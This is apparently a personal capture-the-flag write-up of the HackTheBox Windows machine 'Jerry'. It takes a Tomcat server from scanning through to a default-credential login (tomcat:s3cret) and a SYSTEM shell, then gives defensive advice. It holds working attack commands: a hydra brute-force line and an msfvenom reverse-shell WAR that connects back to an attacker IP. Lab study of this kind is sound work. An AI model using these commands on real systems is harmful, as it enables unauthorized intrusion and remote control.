OSCP Prep #2 HTB Write-Up Jerry
1. Target Overview
Machine Name: Jerry
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.136.9
Attacker Machine: Kali Linux
Jerry is a Windows-based HackTheBox machine with a very small exposed attack surface. The objective is to obtain administrative access on the target system.
Initial reconnaissance quickly revealed that the machine exposes only a single service, indicating that the attack path will likely revolve entirely around that service..
2. Enumeration
TCP Port Scanning
I began by performing a port scan against the target using RustScan, which allows for rapid port discovery and automatically pipes results into Nmap for deeper enumeration.
Command used:
rustscan -a 10.129.136.9 -b 7000 -- -A -T5
RustScan rapidly identified one open TCP port on the target system.
UDP Scan
Although the TCP scan revealed only a single service, I performed a UDP scan to ensure that no additional services were exposed via UDP.
Command used:
sudo nmap -sU --min-rate 5000 10.129.136.9
Results:
This indicates that no identifiable UDP services are exposed.
Nmap Results
Additional information identified by Nmap:
The scan revealed that the only exposed service on the target machine is:
Port 8080 — Apache Tomcat Web Server
More specifically:
Apache Tomcat Version: 7.0.88
JSP Engine: Apache-Coyote/1.1
Supported HTTP Methods: GET, HEAD, POST, OPTIONS
Because no other services are exposed, the web server running on port 8080 becomes the primary attack surface.
Web Application Inspection
Navigating to the target web server in a browser:
http://10.129.136.9:8080
revealed the default Apache Tomcat installation page.
The page confirms the server is running:
Apache Tomcat/7.0.88
The interface contains several navigation links including:
Home
Documentation
Configuration
Examples
Wiki
Mailing Lists
Manager App
Host Manager
At first glance the page appeared to be a standard Tomcat installation with no custom functionality. I also inspected the page source code looking for hidden comments, endpoints, or credentials, but nothing notable was discovered.
Directory Enumeration
Since the landing page did not reveal any obvious attack vectors, I performed directory enumeration using ffuf to discover additional accessible endpoints.
Command used:
Key findings from this enumeration include the presence of the following administrative interfaces:
/manager/html
/host-manager/html
Both endpoints returned HTTP 401 Unauthorized responses, indicating that authentication is required to access them.
These directories are commonly associated with Tomcat administrative functionality, suggesting that administrative panels are exposed but protected by authentication.
Tomcat Manager Interface
Further investigation of the /manager/html endpoint revealed a Basic Authentication login prompt.
http://10.129.136.9:8080/manager/html
The browser prompted for credentials using HTTP Basic Authentication, indicating that the Tomcat Manager application is enabled but restricted to authenticated users.
Because Tomcat installations frequently rely on credentials defined in configuration files or default administrative accounts, this discovery suggests that authentication to the Tomcat Manager interface may represent a potential entry point into the system.
At this stage, the next step in the enumeration process is to investigate whether default or weak credentials exist for the Tomcat Manager interface.
Default Credential Research
Because the Tomcat Manager interface relies on authentication and Tomcat installations are sometimes deployed with weak or default credentials, the next step was to research default Apache Tomcat credentials.
A search for default credentials led to a publicly available GitHub resource containing commonly used username and password combinations for Tomcat installations.
I used the results to construct username and password wordlists that could be passed to the tool hydra for credential testing against the /manager/html Basic Authentication endpoint.
3. Exploitation
With valid credentials identified, I was able to authenticate to the Tomcat Manager interface, granting access to administrative functionality on the server.
My next step was to explore the manager interface to determine what new functionality was available and whether it could be leveraged to gain code execution on the system.
Accessing the Tomcat Manager Interface
After discovering valid credentials (tomcat:s3cret), I authenticated to the Tomcat Manager interface at:
http://10.129.136.9:8080/manager/html
Once logged in, I was presented with the Tomcat Web Application Manager dashboard.
WAR File Deployment Functionality
While reviewing the available functionality on the manager dashboard, one feature immediately stood out.
At the bottom of the page there is a Deploy section that allows administrators to upload application packages directly to the server.
Tomcat applications are commonly packaged as WAR (Web Application Archive) files, which contain compiled Java web applications including JSP pages and supporting resources.
The presence of this deployment functionality suggests that the server allows administrators to upload and deploy new applications directly through the web interface.
Because WAR files can contain executable JSP code, this feature immediately stood out as a potential method for uploading a malicious application containing shell code.
My next step was to test whether I could upload a custom WAR file containing a web shell or reverse shell payload, deploy it through the manager interface, and then trigger it through the web server.
Generating a Malicious WAR Payload
To test whether I could deploy a malicious application, I generated a WAR file containing a reverse shell payload using msfvenom.
This command created a WAR file containing a Windows reverse shell configured to connect back to my attacking machine.
Once generated, I uploaded the file through the Tomcat Manager deployment interface.
Identifying the Payload Entry Point
In order to trigger the payload, I needed to identify the JSP file embedded inside the WAR archive.
I inspected the archive locally using the jar tool:
The archive contained the following structure:
The important file here is the JSP file:
ymrrppszewcssdz.jsp
This file contains the code responsible for executing the reverse shell payload.
Triggering the Payload
Before triggering the payload, I started a Netcat listener on my attacking machine to receive the incoming connection.
Tomcat deploys uploaded WAR files under a directory matching the filename of the archive. Since my uploaded file was named:
revshell.war
the application became accessible at:
http://10.129.136.9:8080/revshell/
Using the previously identified JSP file, I constructed the full URL required to execute the payload:
http://10.129.136.9:8080/revshell/ymrrppszewcssdz.jsp
Navigating to this page triggered the payload.
Although the page appeared blank in the browser, the reverse shell executed successfully on the server.
Receiving the Reverse Shell
My Netcat listener immediately received a connection from the target machine:
This confirmed that the Apache Tomcat service was running with SYSTEM-level privileges, meaning the reverse shell inherited the highest level of access on the system.
Because of this configuration, I obtained full administrative access immediately upon exploitation.
4. Privilege Escalation
No privilege escalation was required.
The Tomcat service was running as NT AUTHORITY\SYSTEM, which means the reverse shell obtained through the WAR deployment already had the highest level of privilege available on the machine.
This represents a significant security misconfiguration, as web services should never run with SYSTEM privileges.
5. Lessons Learned
This machine reinforced several important principles about web application security and exploitation methodology.
The Importance of Testing Default Credentials
One of the biggest takeaways from this exercise was the value of testing default credentials during enumeration. While it may seem like a basic check, misconfigured services often retain vendor-provided credentials, especially in development or poorly maintained environments.
In this case, the exposed Tomcat Manager interface required authentication, which could have initially appeared to be a barrier. However, by researching common Tomcat default credentials and testing them against the login endpoint, I was able to quickly gain access.
This simple misconfiguration ultimately provided administrative access to the Tomcat management interface and served as the initial foothold into the system.
The key lesson here is that basic checks should never be skipped during enumeration. Default credentials remain one of the most common and easily exploitable security weaknesses in real-world environments.
The Power of File Upload Functionality
Another important takeaway from this exercise was the impact that file upload functionality can have on the security of a web application.
Once authenticated to the Tomcat Manager interface, I discovered that the application allowed administrators to deploy WAR files directly through the web interface. Since WAR files contain executable web applications, this functionality effectively allowed me to upload and deploy arbitrary code on the server.
By generating a malicious WAR archive containing a reverse shell payload and uploading it through the manager interface, I was able to trigger RCE almost immediately.
This highlights why file upload functionality is considered one of the most dangerous features in web applications. When improperly restricted, it can allow attackers to introduce malicious code directly onto the server.
As a result, when enumerating web applications, it is critical to pay close attention to features such as:
File upload forms
Application deployment interfaces
Plugin or extension installation features
Administrative panels that allow code deployment
These types of features often provide a direct path to remote code execution if access controls or file validation mechanisms are insufficient.
6. Defensive Insight
This machine highlights several common but serious security misconfigurations that can easily lead to full system compromise if not properly addressed.
Removing Default Credentials
The initial foothold in this system was obtained through the use of default Tomcat credentials. Default or weak credentials remain one of the most common causes of system compromise, particularly in administrative interfaces that are exposed to a network.
In this case, the Tomcat Manager interface accepted the credential pair- tomcat:s3cret
Administrative interfaces should never be deployed with default credentials enabled. Proper security practices should include:
Removing all vendor default accounts
Enforcing strong password policies
Implementing account lockout mechanisms
Restricting administrative interfaces to trusted networks only
Even a single exposed management panel with weak credentials can lead directly to system compromise, as demonstrated in this exercise.
Restricting Access to Administrative Interfaces
Another key issue in this scenario was that the Tomcat Manager interface was publicly accessible. Management interfaces should never be exposed to untrusted networks unless additional security controls are in place.
Recommended protections include:
Restricting access via IP allowlists
Placing management interfaces behind VPN access
Implementing multi-factor authentication
Using reverse proxies or access control rules to limit exposure
By limiting access to administrative services, organizations can significantly reduce the attack surface available to potential attackers.
Securing File Upload and Application Deployment Features
The Tomcat Manager interface allows administrators to deploy applications directly by uploading WAR files. While this functionality is necessary for application management, it also introduces a significant risk if unauthorized users gain access.
In this case, once administrative access was obtained, I was able to upload a malicious WAR archive containing a reverse shell payload and execute it on the server.
To mitigate this risk, organizations should:
Restrict deployment functionality to authorized administrators only
Monitor application deployment activity
Log and alert on unusual uploads
Implement strict authentication controls for deployment interfaces
Proper monitoring and access control can help prevent attackers from abusing these features to deploy malicious code.
Running Services with Least Privilege
Perhaps the most critical misconfiguration observed on this system was that the Apache Tomcat service was running as NT AUTHORITY\SYSTEM.
This meant that when the reverse shell payload executed, it immediately inherited full administrative privileges on the host.
Web services should never run with SYSTEM-level privileges. Instead, they should operate under a dedicated low-privilege service account with only the permissions required for the application to function.
Following the principle of least privilege ensures that even if a web application is compromised, the attacker’s access remains limited.
Final Thoughts
This exercise demonstrates how a combination of relatively simple misconfigurations can quickly lead to full system compromise:
Default credentials allowed access to an administrative interface
The management interface exposed a file deployment feature
The service was running with SYSTEM-level privileges
Together, these weaknesses allowed an attacker to move from initial enumeration to complete system control in only a few steps.
Implementing strong authentication controls, limiting administrative interface exposure, and enforcing least-privilege service configurations would significantly reduce the likelihood of this type of compromise.
Useful Commands
Brute Forcing Web Authentication
Attempt authentication against the Tomcat manager interface using Hydra.
hydra -L user.txt -P pass.txt -s 8080 -f -t 16 10.129.136.9 http-get "/manager/html:F=401|403"
Generating a Malicious WAR Payload
Create a reverse shell payload packaged as a WAR archive.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.123 LPORT=9001 -f war > revshell.war
Inspecting WAR File Contents
List the files contained inside the WAR archive to identify the JSP payload.
jar tf revshell.war
Tools Used
RustScan
A fast port scanner used to quickly identify open ports before passing results to Nmap for deeper service enumeration.
Nmap
Used for service detection, version identification, and additional enumeration of the target host.
FFUF
A fast web fuzzer used to discover hidden directories and endpoints on the Tomcat web server.
Hydra
A parallelized login cracker used to brute-force credentials against the Tomcat Manager authentication endpoint.
MSFVenom
Used to generate a malicious WAR archive containing a Windows reverse shell payload.
Netcat
Used to create a listener that receives the reverse shell connection from the compromised system.
Jar CLI Tool
Used to inspect the contents of the WAR archive and identify the JSP payload responsible for triggering the reverse shell.
